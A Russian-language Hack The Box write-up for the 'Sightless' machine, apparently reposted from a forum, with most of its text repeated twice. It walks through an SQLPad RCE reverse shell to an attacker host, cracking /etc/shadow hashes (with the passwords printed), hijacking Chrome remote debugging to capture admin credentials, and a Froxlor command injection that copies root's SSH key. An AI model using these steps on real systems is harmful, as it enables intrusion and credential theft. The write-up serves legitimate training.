stihl не предоставил(а) никакой дополнительной информации.
В сегодняшнем райтапе мы проведем разведку на сайте, затем используем уязвимость в SQLPad. Получив сессию в Docker, выйдем из него через password reuse и соберем информацию с основной системы. Отладочный режим Chrome позволяет подключиться к удаленному движку и перехватить учетные данные для админки Froxlor.
Наша цель — получение прав суперпользователя на машине Sightless с учебной площадки Hack The Box. Уровень задания — легкий.
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Для просмотра ссылки Войдиили Зарегистрируйся
Сканер нашел три открытых порта:
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
SQLPad ведет на новый домен — sqlpad.sightless.htb.
Для просмотра ссылки Войдиили Зарегистрируйся
Чтобы доменное имя резолвилось, надо добавить запись в файл /etc/hosts:
После создания записи обновляем страницу и получаем доступ к сервису SQLPad.
Для просмотра ссылки Войдиили Зарегистрируйся
SQLPad — это веб‑приложение для написания и выполнения SQL-запросов, а также визуализации результатов. Сервис поддерживает большое количество баз данных. В параметрах сервиса посмотрим версию.
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Мне удалось накопать уязвимость Для просмотра ссылки Войдиили Зарегистрируйся: в SQLPad до версии 6.10.1 возможно Для просмотра ссылки Войди или Зарегистрируйся, что приводит к удаленному выполнению кода.
Для просмотра ссылки Войдиили Зарегистрируйся
Воспользуемся автоматизированным Для просмотра ссылки Войдиили Зарегистрируйся, которому нужно передать URL SQLPad, а также адрес и порт листенера для реверс‑шелла.
Предварительно запустим листенер Для просмотра ссылки Войдиили Зарегистрируйся.
Для просмотра ссылки Войди или Зарегистрируйся
В окне листенера получаем сессию от имени пользователя root. По имени хоста становится ясно, что мы находимся в докер‑контейнере.
Для просмотра ссылки Войдиили Зарегистрируйся
или Зарегистрируйся. Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование.
Смотрим вывод, но на этот раз ничего интересного не находим. Однако у нас есть root в рамках контейнера, а значит, мы можем получить хеши паролей системных пользователей Linux из файла /etc/shadow и попробовать подобрать к ним пароли.
Для просмотра ссылки Войдиили Зарегистрируйся
Есть два хеша, перебирать их будем с помощью hashcat.
Для просмотра ссылки Войдиили Зарегистрируйся
В итоге оба хеша быстро сбрутили. Проверим их на службе SSH на основном хосте.
Для просмотра ссылки Войди или Зарегистрируйся
Подключаемся к SSH от имени пользователя michael и забираем первый флаг.
Для просмотра ссылки Войдиили Зарегистрируйся
Среди процессов в системе есть запущенный Google Chrome с активной функцией удаленной отладки.
Для просмотра ссылки Войдиили Зарегистрируйся
В системе прослушивается много портов для localhost. Большая часть из них — это порты для отладки в Chrome, но есть и типичный для веб‑сервисов порт 8080.
Для просмотра ссылки Войдиили Зарегистрируйся
Файл с настройками веб‑сервера Apache поясняет, что на порте 8080 работает веб‑сервис Froxlor.
Для просмотра ссылки Войдиили Зарегистрируйся
Froxlor — бесплатная панель управления хостингом для Linux, которая позволяет управлять несколькими веб‑сайтами на одном сервере. Но так как он доступен только для локального хоста, необходимо построить туннель с помощью SSH.
ssh michael@10.10.11.32 -L 8000:127.0.0.1:8080
Весь трафик, который мы пошлем на локальный порт 8000, будет туннелирован на порт 8080 указанного хоста (в данном случае 127.0.0.1) через SSH-хост. Теперь можно просмотреть панель через браузер.
Для просмотра ссылки Войдиили Зарегистрируйся
Вернемся к отладке Chrome.
ssh michael@10.10.11.32 -L 0.0.0.0:8080:127.0.0.1:8080 -L 0.0.0.0:47259:127.0.0.1:47259 -L 0.0.0.0:43375:127.0.0.1:43375 -L 0.0.0.0:33487:127.0.0.1:33487 -L 0.0.0.0:33060:127.0.0.1:33060 -L 0.0.0.0:3000:127.0.0.1:3000 -L 0.0.0.0:3306:127.0.0.1:3306
Туннель готов, займемся настройкой браузера. В строке поиска переходим на страницу chrome://inspect и в графе Discover network targets указываем адрес локального хоста и все туннелируемые порты.
Для просмотра ссылки Войдиили Зарегистрируйся
Теперь, когда пользователь зайдет на какую‑то страницу, информация об этом будет отображена здесь же. Так, в данном случае пользователь зашел на страницу вот с таким адресом:
Для просмотра ссылки Войдиили ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Выбираем Inspect fallback и получаем ту же страницу, что отображается у пользователя.
Для просмотра ссылки Войдиили Зарегистрируйся
Среди переданных пакетов находим запрос на авторизацию, из которого получаем учетные данные администратора системы.
Для просмотра ссылки Войдиили Зарегистрируйся
Перейдем к настройкам PHP → PHP-FPM versions и изменим текущую запись, указав в качестве команды рестарта php-fpm копирование SSH-ключа root в каталог пользователя.
Для просмотра ссылки Войдиили ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Чтобы PHP-FPM перезапустился, перейдем в настройки System → Settings → PHP-FPM, отключим модуль, сохраним настройки, а затем включим модуль и снова сохраним конфиг.
Для просмотра ссылки Войдиили Зарегистрируйся
В домашнем каталоге пользователя появился ключ.
Для просмотра ссылки Войдиили Зарегистрируйся
Теперь проделаем все те же действия, чтобы назначить право чтения на файл ключа. Следом подключаемся от рута и забираем последний флаг.
Для просмотра ссылки Войдиили Зарегистрируйся
Машина захвачена!
Наша цель — получение прав суперпользователя на машине Sightless с учебной площадки Hack The Box. Уровень задания — легкий.
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.32 sightless.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Для просмотра ссылки Войди
Сканер нашел три открытых порта:
- 21 — служба FTP;
- 22 — служба OpenSSH 8.9p1;
- 80 — веб‑сервер Nginx 1.18.0.
Для просмотра ссылки Войди
Точка входа
На сайте можно найти список сервисов, некоторые ведут на новые домены.Для просмотра ссылки Войди
SQLPad ведет на новый домен — sqlpad.sightless.htb.
Для просмотра ссылки Войди
Чтобы доменное имя резолвилось, надо добавить запись в файл /etc/hosts:
10.10.11.32 sightless.htb sqlpad.sightless.htb
После создания записи обновляем страницу и получаем доступ к сервису SQLPad.
Для просмотра ссылки Войди
SQLPad — это веб‑приложение для написания и выполнения SQL-запросов, а также визуализации результатов. Сервис поддерживает большое количество баз данных. В параметрах сервиса посмотрим версию.
Для просмотра ссылки Войди
Точка опоры
Первым делом стоит проверить, есть ли для найденного софта готовые эксплоиты. Поможет в этом, как всегда, Google.Для просмотра ссылки Войди
Мне удалось накопать уязвимость Для просмотра ссылки Войди
Для просмотра ссылки Войди
Воспользуемся автоматизированным Для просмотра ссылки Войди
Справка: реверс-шелл
Обратный шелл — это подключение, которое активирует атакуемая машина, а мы принимаем и таким образом подключаемся к ней, чтобы выполнять команды от лица пользователя, который запустил шелл. Для приема соединения необходимо создать на локальной машине listener, то есть «слушатель».Предварительно запустим листенер Для просмотра ссылки Войди
Код:
pwncat-cs -lp 4321
python3 exploit.py http://sqlpad.sightless.htb/ 10.10.16.25 4321
В окне листенера получаем сессию от имени пользователя root. По имени хоста становится ясно, что мы находимся в докер‑контейнере.
Для просмотра ссылки Войди
Продвижение
Теперь нам необходимо собрать информацию. Источников информации очень много, и, чтобы не держать их все в голове, были разработаны Для просмотра ссылки ВойдиСмотрим вывод, но на этот раз ничего интересного не находим. Однако у нас есть root в рамках контейнера, а значит, мы можем получить хеши паролей системных пользователей Linux из файла /etc/shadow и попробовать подобрать к ним пароли.
Для просмотра ссылки Войди
Есть два хеша, перебирать их будем с помощью hashcat.
hashcat hashes.txt rockyou.txt
Для просмотра ссылки Войди
В итоге оба хеша быстро сбрутили. Проверим их на службе SSH на основном хосте.
Код:
nxc ssh 10.10.11.32 -u root -p blindside
nxc ssh 10.10.11.32 -u michael -p insaneclownposse
Подключаемся к SSH от имени пользователя michael и забираем первый флаг.
Для просмотра ссылки Войди
Локальное повышение привилегий
Так как мы проникли на другой хост, снова проводим разведку с помощью linpeas.sh.Среди процессов в системе есть запущенный Google Chrome с активной функцией удаленной отладки.
Для просмотра ссылки Войди
В системе прослушивается много портов для localhost. Большая часть из них — это порты для отладки в Chrome, но есть и типичный для веб‑сервисов порт 8080.
Для просмотра ссылки Войди
Файл с настройками веб‑сервера Apache поясняет, что на порте 8080 работает веб‑сервис Froxlor.
Для просмотра ссылки Войди
Froxlor — бесплатная панель управления хостингом для Linux, которая позволяет управлять несколькими веб‑сайтами на одном сервере. Но так как он доступен только для локального хоста, необходимо построить туннель с помощью SSH.
ssh michael@10.10.11.32 -L 8000:127.0.0.1:8080
Весь трафик, который мы пошлем на локальный порт 8000, будет туннелирован на порт 8080 указанного хоста (в данном случае 127.0.0.1) через SSH-хост. Теперь можно просмотреть панель через браузер.
Для просмотра ссылки Войди
Вернемся к отладке Chrome.
Chrome Debug
Если у Google Chrome активна удаленная отладка, то можно с помощью другого браузера Chrome подключиться к порту отладчика и получать все данные из браузера отладчика. Это позволит как бы «подсматривать» за пользователем. Но первым делом устроим SSH-туннель для всех прослушиваемых портов.ssh michael@10.10.11.32 -L 0.0.0.0:8080:127.0.0.1:8080 -L 0.0.0.0:47259:127.0.0.1:47259 -L 0.0.0.0:43375:127.0.0.1:43375 -L 0.0.0.0:33487:127.0.0.1:33487 -L 0.0.0.0:33060:127.0.0.1:33060 -L 0.0.0.0:3000:127.0.0.1:3000 -L 0.0.0.0:3306:127.0.0.1:3306
Туннель готов, займемся настройкой браузера. В строке поиска переходим на страницу chrome://inspect и в графе Discover network targets указываем адрес локального хоста и все туннелируемые порты.
Для просмотра ссылки Войди
Теперь, когда пользователь зайдет на какую‑то страницу, информация об этом будет отображена здесь же. Так, в данном случае пользователь зашел на страницу вот с таким адресом:
Для просмотра ссылки Войди
Выбираем Inspect fallback и получаем ту же страницу, что отображается у пользователя.
Для просмотра ссылки Войди
Среди переданных пакетов находим запрос на авторизацию, из которого получаем учетные данные администратора системы.
Для просмотра ссылки Войди
Froxlor RCE
Права администратора Froxlor дают возможность настраивать системы, в том числе и указывать команды для старта или рестарта служб. Там мы сможем задать свою команду и дождаться ее выполнения в привилегированном контексте.Перейдем к настройкам PHP → PHP-FPM versions и изменим текущую запись, указав в качестве команды рестарта php-fpm копирование SSH-ключа root в каталог пользователя.
cp /root/.ssh/id_rsa /home/michael/id_rsa
Для просмотра ссылки Войди
Чтобы PHP-FPM перезапустился, перейдем в настройки System → Settings → PHP-FPM, отключим модуль, сохраним настройки, а затем включим модуль и снова сохраним конфиг.
Для просмотра ссылки Войди
В домашнем каталоге пользователя появился ключ.
Для просмотра ссылки Войди
Теперь проделаем все те же действия, чтобы назначить право чтения на файл ключа. Следом подключаемся от рута и забираем последний флаг.
Для просмотра ссылки Войди
Машина захвачена!